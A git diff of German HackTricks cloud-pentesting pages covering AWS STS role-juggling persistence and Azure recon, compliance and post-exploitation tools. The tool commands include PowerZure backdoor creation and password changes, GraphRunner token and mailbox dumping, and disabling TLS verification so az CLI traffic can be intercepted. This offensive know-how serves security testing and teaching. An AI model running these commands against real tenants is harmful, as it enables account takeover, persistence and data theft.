diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 8fc13bd25..46551c0d9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -1,4 +1,4 @@ -# AWS - STS Persistenz +# AWS - STS Persistence {{#include ../../../banners/hacktricks-training.md}} @@ -18,19 +18,19 @@ Temporäre Tokens können nicht aufgelistet werden, daher ist das Beibehalten ei # Mit MFA aws sts get-session-token \ ---serial-number <mfa-device-name> \ ---token-code <code-from-token> +--serial-number \ +--token-code # Der Name des Hardwaregeräts ist normalerweise die Nummer auf der Rückseite des Geräts, wie GAHT12345678 -# Der Name des SMS-Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:sms-mfa/benutzername -# Der Name des virtuellen Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:mfa/benutzername +# Der Name des SMS-Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:sms-mfa/username +# Der Name des virtuellen Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:mfa/username ### Role Chain Juggling -[**Role Chaining ist ein anerkanntes AWS-Feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), das häufig zur Aufrechterhaltung von Stealth-Persistenz genutzt wird. Es beinhaltet die Fähigkeit, **eine Rolle zu übernehmen, die dann eine andere übernimmt**, was potenziell zur ursprünglichen Rolle in einer **zyklischen Weise** zurückkehrt. Jedes Mal, wenn eine Rolle übernommen wird, wird das Ablaufdatum der Anmeldeinformationen aktualisiert. Folglich, wenn zwei Rollen so konfiguriert sind, dass sie sich gegenseitig übernehmen, ermöglicht dieses Setup die ständige Erneuerung der Anmeldeinformationen. +[**Role chaining ist ein anerkanntes AWS-Feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), das häufig zur Aufrechterhaltung von Stealth-Persistenz genutzt wird. Es beinhaltet die Fähigkeit, **eine Rolle zu übernehmen, die dann eine andere übernimmt**, was potenziell zur ursprünglichen Rolle in einer **zyklischen Weise** zurückkehrt. Jedes Mal, wenn eine Rolle übernommen wird, wird das Ablaufdatum der Anmeldeinformationen aktualisiert. Folglich, wenn zwei Rollen so konfiguriert sind, dass sie sich gegenseitig übernehmen, ermöglicht dieses Setup die ständige Erneuerung der Anmeldeinformationen. -Sie können dieses [**Tool**](https://github.com/hotnops/AWSRoleJuggler/) verwenden, um das Role Chaining aufrechtzuerhalten: +Sie können dieses [**Tool**](https://github.com/hotnops/AWSRoleJuggler/) verwenden, um das Rollenkettenspiel am Laufen zu halten: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -44,8 +44,8 @@ optional arguments:
-Code zur Durchführung von Role Juggling aus PowerShell -```powershell +Code zum Durchführen von Role Juggling aus PowerShell +```bash # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 5d4c9fa06..0218687dc 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -15,8 +15,8 @@ Um eine AZURE-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Di Aus der Sicht eines Red Teams ist der **erste Schritt, um eine Azure-Umgebung zu kompromittieren**, die Beschaffung von **Anmeldeinformationen** für Azure AD. Hier sind einige Ideen, wie man das erreichen kann: - **Leaks** in github (oder ähnlichem) - OSINT -- **Social** Engineering -- **Passwort** Wiederverwendung (Passwortlecks) +- **Soziale** Ingenieurkunst +- **Passwort**-Wiederverwendung (Passwort-Leaks) - Schwachstellen in Azure-gehosteten Anwendungen - [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) mit Zugriff auf den Metadaten-Endpunkt - **Lokales Datei Lesen** @@ -29,8 +29,8 @@ Aus der Sicht eines Red Teams ist der **erste Schritt, um eine Azure-Umgebung zu Verwenden Sie `Disconnect-AzAccount`, um sie zu entfernen. - 3rd Party **gehackt** - **Interner** Mitarbeiter -- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (Anmeldeinformationen oder Oauth-App) -- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) +- [**Häufiges Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (Anmeldeinformationen oder Oauth-App) +- [Gerätekode-Authentifizierungsphishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) Selbst wenn Sie **keinen Benutzer** innerhalb des Azure-Mandanten, den Sie angreifen, kompromittiert haben, können Sie **einige Informationen** daraus sammeln: @@ -59,7 +59,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
-In Fällen, in denen Sie gültige Anmeldeinformationen haben, aber sich nicht anmelden können, sind dies einige gängige Schutzmaßnahmen, die vorhanden sein könnten: +In Fällen, in denen Sie einige gültige Anmeldeinformationen haben, aber sich nicht anmelden können, sind dies einige gängige Schutzmaßnahmen, die vorhanden sein könnten: - **IP-Whitelist** -- Sie müssen eine gültige IP kompromittieren - **Geo-Beschränkungen** -- Finden Sie heraus, wo der Benutzer lebt oder wo sich die Büros des Unternehmens befinden, und erhalten Sie eine IP aus derselben Stadt (oder zumindest demselben Land) @@ -68,11 +68,11 @@ In Fällen, in denen Sie gültige Anmeldeinformationen haben, aber sich nicht an Nachdem Sie dies umgangen haben, sollten Sie in der Lage sein, zu Ihrem ursprünglichen Setup zurückzukehren und weiterhin Zugriff zu haben. -### Subdomain Übernahme +### Subdomain-Übernahme - [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/) -### Wer bin ich +### Whoami > [!CAUTION] > Lernen Sie, **wie man** az cli, AzureAD und Az PowerShell im Abschnitt [**Az - Entra ID**](az-services/az-azuread.md) installiert. @@ -92,7 +92,7 @@ az account management-group list #Not allowed by default {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant @@ -101,7 +101,7 @@ Get-AzureADTenantDetail {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext # List all available contexts @@ -124,7 +124,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user > > Sie können die gleichen Informationen in der **Webkonsole** erhalten, indem Sie zu [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) gehen oder nach "Alle Ressourcen" suchen. -### ENtra ID Auflistung +### Entra ID Auflistung Standardmäßig sollte jeder Benutzer **ausreichende Berechtigungen haben, um** Dinge wie Benutzer, Gruppen, Rollen, Dienstprinzipale... aufzulisten (siehe [Standard AzureAD-Berechtigungen](az-basic-information/index.html#default-user-permissions)).\ Hier finden Sie einen Leitfaden: @@ -134,7 +134,7 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> Jetzt, da Sie **einige Informationen über Ihre Anmeldeinformationen haben** (und wenn Sie ein Red Team sind, hoffen wir, dass Sie **nicht entdeckt wurden**). Es ist an der Zeit herauszufinden, welche Dienste in der Umgebung verwendet werden.\ +> Jetzt, da Sie **einige Informationen über Ihre Anmeldeinformationen haben** (und wenn Sie ein Rote-Team sind, hoffen wir, dass Sie **nicht entdeckt wurden**). Es ist an der Zeit herauszufinden, welche Dienste in der Umgebung verwendet werden.\ > Im folgenden Abschnitt können Sie einige Möglichkeiten überprüfen, um **einige gängige Dienste aufzulisten.** ## App Service SCM @@ -143,232 +143,10 @@ Kudu-Konsole, um sich im App Service 'Container' anzumelden. ## Webshell -Verwenden Sie portal.azure.com und wählen Sie die Shell aus, oder verwenden Sie shell.azure.com für Bash oder PowerShell. Der 'Disk' dieser Shell wird als Bilddatei in einem Speicherkonto gespeichert. +Verwenden Sie portal.azure.com und wählen Sie die Shell aus, oder verwenden Sie shell.azure.com für eine Bash- oder PowerShell. Der 'Disk' dieser Shell wird als Bilddatei in einem Speicherkonto gespeichert. ## Azure DevOps Azure DevOps ist von Azure getrennt. Es hat Repositories, Pipelines (yaml oder Release), Boards, Wiki und mehr. Variablengruppen werden verwendet, um Variablenwerte und Geheimnisse zu speichern. -## Debug | MitM az cli - -Mit dem Parameter **`--debug`** ist es möglich, alle Anfragen zu sehen, die das Tool **`az`** sendet: -```bash -az account management-group list --output table --debug -``` -Um einen **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuell sendet, zu überprüfen, kannst du Folgendes tun: - -{{#tabs }} -{{#tab name="Bash" }} -```bash -export ADAL_PYTHON_SSL_NO_VERIFY=1 -export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -export HTTPS_PROXY="http://127.0.0.1:8080" -export HTTP_PROXY="http://127.0.0.1:8080" - -# If this is not enough -# Download the certificate from Burp and convert it into .pem format -# And export the following env variable -openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM -export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem -``` -{{#endtab }} - -{{#tab name="PS" }} -```bash -$env:ADAL_PYTHON_SSL_NO_VERIFY=1 -$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -$env:HTTPS_PROXY="http://127.0.0.1:8080" -$env:HTTP_PROXY="http://127.0.0.1:8080" -``` -{{#endtab }} -{{#endtabs }} - -## Automatisierte Recon-Tools - -### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) -```powershell -cd ROADTools -pipenv shell -roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" -roadrecon gather -roadrecon gui -``` -### [Monkey365](https://github.com/silverhack/monkey365) -```powershell -Import-Module monkey365 -Get-Help Invoke-Monkey365 -Get-Help Invoke-Monkey365 -Detailed -Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue -Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML -``` -### [**Stormspotter**](https://github.com/Azure/Stormspotter) -```powershell -# Start Backend -cd stormspotter\backend\ -pipenv shell -python ssbackend.pyz - -# Start Front-end -cd stormspotter\frontend\dist\spa\ -quasar.cmd serve -p 9091 --history - -# Run Stormcollector -cd stormspotter\stormcollector\ -pipenv shell -az login -u test@corp.onmicrosoft.com -p Welcome2022! -python stormspotter\stormcollector\sscollector.pyz cli -# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) -``` -### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) -```powershell -# You need to use the Az PowerShell and Azure AD modules: -$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force -$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd) -Connect-AzAccount -Credential $creds - -Import-Module AzureAD\AzureAD.psd1 -Connect-AzureAD -Credential $creds - -# Launch AzureHound -. AzureHound\AzureHound.ps1 -Invoke-AzureHound -Verbose - -# Simple queries -## All Azure Users -MATCH (n:AZUser) return n.name -## All Azure Applications -MATCH (n:AZApp) return n.objectid -## All Azure Devices -MATCH (n:AZDevice) return n.name -## All Azure Groups -MATCH (n:AZGroup) return n.name -## All Azure Key Vaults -MATCH (n:AZKeyVault) return n.name -## All Azure Resource Groups -MATCH (n:AZResourceGroup) return n.name -## All Azure Service Principals -MATCH (n:AZServicePrincipal) return n.objectid -## All Azure Virtual Machines -MATCH (n:AZVM) return n.name -## All Principals with the ‘Contributor’ role -MATCH p = (n)-[r:AZContributor]->(g) RETURN p - -# Advanced queries -## Get Global Admins -MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p -## Owners of Azure Groups -MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p -## All Azure Users and their Groups -MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p -## Privileged Service Principals -MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p -## Owners of Azure Applications -MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p -## Paths to VMs -MATCH p = (n)-[r]->(g: AZVM) RETURN p -## Paths to KeyVault -MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p -## Paths to Azure Resource Group -MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p -## On-Prem users with edges to Azure -MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p -## All Azure AD Groups that are synchronized with On-Premise AD -MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n -``` -### [Azucar](https://github.com/nccgroup/azucar) -```bash -# You should use an account with at least read-permission on the assets you want to access -git clone https://github.com/nccgroup/azucar.git -PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File - -PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 - -# resolve the TenantID for an specific username -PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com -``` -### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) -``` -Import-Module .\MicroBurst.psm1 -Import-Module .\Get-AzureDomainInfo.ps1 -Get-AzureDomainInfo -folder MicroBurst -Verbose -``` -### [**PowerZure**](https://github.com/hausec/PowerZure) -```powershell -Connect-AzAccount -ipmo C:\Path\To\Powerzure.psd1 -Get-AzureTarget - -# Reader -$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails - -# Contributor -$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami" -$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml" -$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents -$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk - -# Owner -$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest - -# Administrator -$ Create-Backdoor, Execute-Backdoor -``` -### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) -```powershell - -#Get-GraphTokens -#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) -Import-Module .\GraphRunner.ps1 -Get-GraphTokens - -#Invoke-GraphRecon -#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-DumpCAPS -Tokens $tokens -ResolveGuids - -#Invoke-DumpApps -#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. -Invoke-DumpApps -Tokens $tokens - -#Get-AzureADUsers -#Gather the full list of users from the directory. -Get-AzureADUsers -Tokens $tokens -OutFile users.txt - -#Get-SecurityGroups -#Create a list of security groups along with their members. -Get-SecurityGroups -AccessToken $tokens.access_token - -G#et-UpdatableGroups -#Gets groups that may be able to be modified by the current user -Get-UpdatableGroups -Tokens $tokens - -#Get-DynamicGroups -#Finds dynamic groups and displays membership rules -Get-DynamicGroups -Tokens $tokens - -#Get-SharePointSiteURLs -#Gets a list of SharePoint site URLs visible to the current user -Get-SharePointSiteURLs -Tokens $tokens - -#Invoke-GraphOpenInboxFinder -#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. -Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt - -#Get-TenantID -#This module attempts to gather a tenant ID associated with a domain. -Get-TenantID -Domain - -#Invoke-GraphRunner -#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. -Invoke-GraphRunner -Tokens $tokens -``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index a034f8eba..aa0177e24 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -107,7 +107,7 @@ Um ein **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuel ### Microsoft Graph PowerShell -Microsoft Graph PowerShell ist ein plattformübergreifendes SDK, das den Zugriff auf alle Microsoft Graph APIs ermöglicht, einschließlich Dienste wie SharePoint, Exchange und Outlook, über einen einzigen Endpunkt. Es unterstützt PowerShell 7+, moderne Authentifizierung über MSAL, externe Identitäten und erweiterte Abfragen. Mit einem Fokus auf minimalen Zugriff gewährleistet es sichere Operationen und erhält regelmäßige Updates, um mit den neuesten Funktionen der Microsoft Graph API in Einklang zu stehen. +Microsoft Graph PowerShell ist ein plattformübergreifendes SDK, das den Zugriff auf alle Microsoft Graph APIs ermöglicht, einschließlich Dienste wie SharePoint, Exchange und Outlook, über einen einzigen Endpunkt. Es unterstützt PowerShell 7+, moderne Authentifizierung über MSAL, externe Identitäten und erweiterte Abfragen. Mit einem Fokus auf den minimalen Zugriff gewährleistet es sichere Operationen und erhält regelmäßige Updates, um mit den neuesten Funktionen der Microsoft Graph API in Einklang zu stehen. Folgen Sie diesem Link für die [**Installationsanweisungen**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). @@ -128,4 +128,243 @@ Das Azure Active Directory (AD) Modul, jetzt **veraltet**, ist Teil von Azure Po Folgen Sie diesem Link für die [**Installationsanweisungen**](https://www.powershellgallery.com/packages/AzureAD). +## Automatisierte Recon- & Compliance-Tools + +### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure) + +Turbot mit Steampipe und Powerpipe ermöglicht das Sammeln von Informationen aus Azure und Entra ID sowie die Durchführung von Compliance-Prüfungen und das Auffinden von Fehlkonfigurationen. Die derzeit am meisten empfohlenen Azure-Module, die ausgeführt werden sollten, sind: + +- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance) +- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights) +- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights) +```bash +# Install +brew install turbot/tap/powerpipe +brew install turbot/tap/steampipe +steampipe plugin install azure +steampipe plugin install azuread + +# Config creds via env vars or az cli default creds will be used +export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD" +export AZURE_TENANT_ID="" +export AZURE_SUBSCRIPTION_ID="" +export AZURE_CLIENT_ID="" +export AZURE_CLIENT_SECRET="" + +# Run steampipe-mod-azure-insights +cd /tmp +mkdir dashboards +cd dashboards +powerpipe mod init +powerpipe mod install github.com/turbot/steampipe-mod-azure-insights +steampipe service start +powerpipe server +# Go to http://localhost:9033 in a browser +``` +### [Prowler](https://github.com/prowler-cloud/prowler) + +Prowler ist ein Open Source-Sicherheitstool, um Sicherheitsbest Practices-Bewertungen, Audits, Incident Response, kontinuierliche Überwachung, Härtung und forensische Bereitschaft für AWS, Azure, Google Cloud und Kubernetes durchzuführen. + +Es ermöglicht uns im Grunde, Hunderte von Prüfungen in einer Azure-Umgebung durchzuführen, um Sicherheitsfehlkonfigurationen zu finden und die Ergebnisse im json-Format (und anderen Textformaten) zu sammeln oder sie im Web zu überprüfen. +```bash +# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app + +# Launch web with docker-compose +export DOCKER_DEFAULT_PLATFORM=linux/amd64 +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env +## If using an old docker-compose version, change the "env_file" params to: env_file: ".env" +docker compose up -d +# Access the web and configure the access to run a scan from it + +# Prowler cli +python3 -m pip install prowler --break-system-packages +docker run --rm toniblyx/prowler:v4-latest azure --list-checks +docker run --rm toniblyx/prowler:v4-latest azure --list-services +docker run --rm toniblyx/prowler:v4-latest azure --list-compliance +docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=" -e "AZURE_CLIENT_SECRET=" toniblyx/prowler:v4-latest azure --sp-env-auth +## It also support other authentication types, check: prowler azure --help +``` +### [Monkey365](https://github.com/silverhack/monkey365) + +Es ermöglicht die automatische Durchführung von Sicherheitskonfigurationsüberprüfungen für Azure-Abonnements und Microsoft Entra ID. + +Die HTML-Berichte werden im Verzeichnis `./monkey-reports` im Ordner des GitHub-Repositorys gespeichert. +```bash +git clone https://github.com/silverhack/monkey365 +Get-ChildItem -Recurse monkey365 | Unblock-File +cd monkey365 +Import-Module ./monkey365 +mkdir /tmp/monkey365-scan +cd /tmp/monkey365-scan + +Get-Help Invoke-Monkey365 +Get-Help Invoke-Monkey365 -Detailed + +# Scan with user creds (browser will be run) +Invoke-Monkey365 -TenantId -Instance Azure -Collect All -ExportTo HTML + +# Scan with App creds +$SecureClientSecret = ConvertTo-SecureString "" -AsPlainText -Force +Invoke-Monkey365 -TenantId -ClientId -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML +``` +### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) + +Scout Suite sammelt Konfigurationsdaten zur manuellen Überprüfung und hebt Risikobereiche hervor. Es ist ein Multi-Cloud-Sicherheitsprüfungswerkzeug, das die Bewertung der Sicherheitslage von Cloud-Umgebungen ermöglicht. +```bash +virtualenv -p python3 venv +source venv/bin/activate +pip install scoutsuite +scout --help + +# Use --cli flag to use az cli credentials +# Use --user-account to have scout prompt for user credentials +# Use --user-account-browser to launch a browser to login +# Use --service-principal to have scout prompt for app credentials + +python scout.py azure --cli +``` +### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting) + +Es ist ein PowerShell-Skript, das Ihnen hilft, **alle Ressourcen und Berechtigungen innerhalb einer Management-Gruppe und des Entra ID**-Mandanten zu visualisieren und Sicherheitsfehlkonfigurationen zu finden. + +Es funktioniert mit dem Az PowerShell-Modul, sodass jede Authentifizierung, die von diesem Tool unterstützt wird, auch von dem Tool unterstützt wird. +```bash +import-module Az +.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ] +``` +## Automatisierte Post-Exploitation-Tools + +### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) + +Die Enumeration von ROADRecon bietet Informationen über die Konfiguration von Entra ID, wie Benutzer, Gruppen, Rollen, bedingte Zugriffsrichtlinien... +```bash +cd ROADTools +pipenv shell +# Login with user creds +roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" +# Login with app creds +roadrecon auth --as-app --client "" --password "" --tenant "" +roadrecon gather +roadrecon gui +``` +### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) +```bash +# Launch AzureHound +## Login with app secret +azurehound -a "" -s "" --tenant "" list -o ./output.json +## Login with user creds +azurehound -u "" -p "" --tenant "" list -o ./output.json +``` +Starte die **BloodHound**-Webanwendung mit **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** und importiere die `output.json`-Datei. + +Dann kannst du im **EXPLORE**-Tab im **CYPHER**-Bereich ein **Ordnersymbol** sehen, das vorgefertigte Abfragen enthält. + +### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) + +MicroBurst umfasst Funktionen und Skripte, die die Entdeckung von Azure-Diensten, die Überprüfung schwacher Konfigurationen und nachgelagerte Aktionen wie Credential Dumping unterstützen. Es ist für den Einsatz während Penetrationstests gedacht, bei denen Azure verwendet wird. +```bash +Import-Module .\MicroBurst.psm1 +Import-Module .\Get-AzureDomainInfo.ps1 +Get-AzureDomainInfo -folder MicroBurst -Verbose +``` +### [**PowerZure**](https://github.com/hausec/PowerZure) + +PowerZure wurde aus der Notwendigkeit geschaffen, ein Framework zu haben, das sowohl Aufklärung als auch Ausnutzung von Azure, EntraID und den zugehörigen Ressourcen durchführen kann. + +Es verwendet das **Az PowerShell**-Modul, sodass jede Authentifizierung, die von diesem Tool unterstützt wird, auch von dem Tool unterstützt wird. +```bash +# Login +Import-Module Az +Connect-AzAccount + +# Clone and import PowerZure +git clone https://github.com/hausec/PowerZure +cd PowerZure +ipmo ./Powerzure.psd1 +Invoke-Powerzure -h # Check all the options + +# Info Gathering (read) +Get-AzureCurrentUser # Get current user +Get-AzureTarget # What can you access to +Get-AzureUser -All # Get all users +Get-AzureSQLDB -All # Get all SQL DBs +Get-AzureAppOwner # Owners of apps in Entra +Show-AzureStorageContent -All # List containers, shared and tables +Show-AzureKeyVaultContent -All # List all contents in key vaults + + +# Operational (write) +Set-AzureUserPassword -Password -Username # Change password +Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC. +New-AzureBackdoor -Username -Password +Invoke-AzureRunCommand -Command -VMName +[...] +``` +### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) + +GraphRunner ist ein Post-Exploitation-Toolset zur Interaktion mit der Microsoft Graph API. Es bietet verschiedene Werkzeuge für die Durchführung von Aufklärung, Persistenz und das Plündern von Daten aus einem Microsoft Entra ID (Azure AD) Konto. +```bash +#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) +Import-Module .\GraphRunner.ps1 +Get-GraphTokens + +#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-DumpCAPS -Tokens $tokens -ResolveGuids + +#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. +Invoke-DumpApps -Tokens $tokens + +#Gather the full list of users from the directory. +Get-AzureADUsers -Tokens $tokens -OutFile users.txt + +#Create a list of security groups along with their members. +Get-SecurityGroups -AccessToken $tokens.access_token + +#Gets groups that may be able to be modified by the current user +Get-UpdatableGroups -Tokens $tokens + +#Finds dynamic groups and displays membership rules +Get-DynamicGroups -Tokens $tokens + +#Gets a list of SharePoint site URLs visible to the current user +Get-SharePointSiteURLs -Tokens $tokens + +#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. +Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt + +#This module attempts to gather a tenant ID associated with a domain. +Get-TenantID -Domain + +#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. +Invoke-GraphRunner -Tokens $tokens +``` +### [Stormspotter](https://github.com/Azure/Stormspotter) + +Stormspotter erstellt ein „Angriffsdiagramm“ der Ressourcen in einem Azure-Abonnement. Es ermöglicht Red Teams und Pentestern, die Angriffsfläche und Pivot-Möglichkeiten innerhalb eines Mandanten zu visualisieren und unterstützt Ihre Verteidiger dabei, sich schnell zu orientieren und die Incident-Response-Arbeit zu priorisieren. + +**Leider sieht es unmaintained aus**. +```bash +# Start Backend +cd stormspotter\backend\ +pipenv shell +python ssbackend.pyz + +# Start Front-end +cd stormspotter\frontend\dist\spa\ +quasar.cmd serve -p 9091 --history + +# Run Stormcollector +cd stormspotter\stormcollector\ +pipenv shell +az login -u test@corp.onmicrosoft.com -p Welcome2022! +python stormspotter\stormcollector\sscollector.pyz cli +# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) +``` {{#include ../../banners/hacktricks-training.md}} diff --git 